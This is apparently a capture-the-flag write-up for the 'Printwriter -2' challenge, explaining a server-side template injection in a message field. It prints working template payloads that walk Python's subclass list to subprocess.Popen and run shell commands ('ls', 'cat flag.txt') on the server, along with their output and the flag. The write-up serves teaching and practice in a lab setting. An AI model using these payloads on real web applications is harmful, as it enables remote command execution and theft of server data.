Printwriter -2

solved by tomato, fs

Now that I’m not using C or Python, my printwriter will be finally safe!

There is a Server-Side Template Injection vulnerability in the message field of the Printwriter. For example, this template:

Gives us the result of aaaaa

Find Popen

This allows us to do an exploit similar to Printwriter -1. We first get all the subclasses with: ''.__class__.__mro__[1].__subclasses__():

Which gives:

[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class 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We now want to use the Popen class to get shell access to the machine so we can find the flag and get it’s contents. From the above dump of text, the <class 'subprocess.Popen'> class is in ''.__class__.__mro__[1].__subclasses__()[392].

Use Popen

Let’s first run ls to see if the flag is in the local directory:

{{''.__class__.__mro__[1].__subclasses__()[392]('ls', shell=True, stdout=-1).communicate()}}

We get:

(b'Dockerfile\napp.py\nflag.txt\nrequirements.txt\nstatic\ntemplates\n', None)

We see a flag.txt! So we can simply cat flag.txt as such:

{{''.__class__.__mro__[1].__subclasses__()[392]('cat flag.txt', shell=True, stdout=-1).communicate()}}

and we get the flag:

(b'blahaj{s3cURe_53rv1CEs_73chN0lOg1e5_1Nc.}', None)

blahaj{s3cURe_53rv1CEs_73chN0lOg1e5_1Nc.}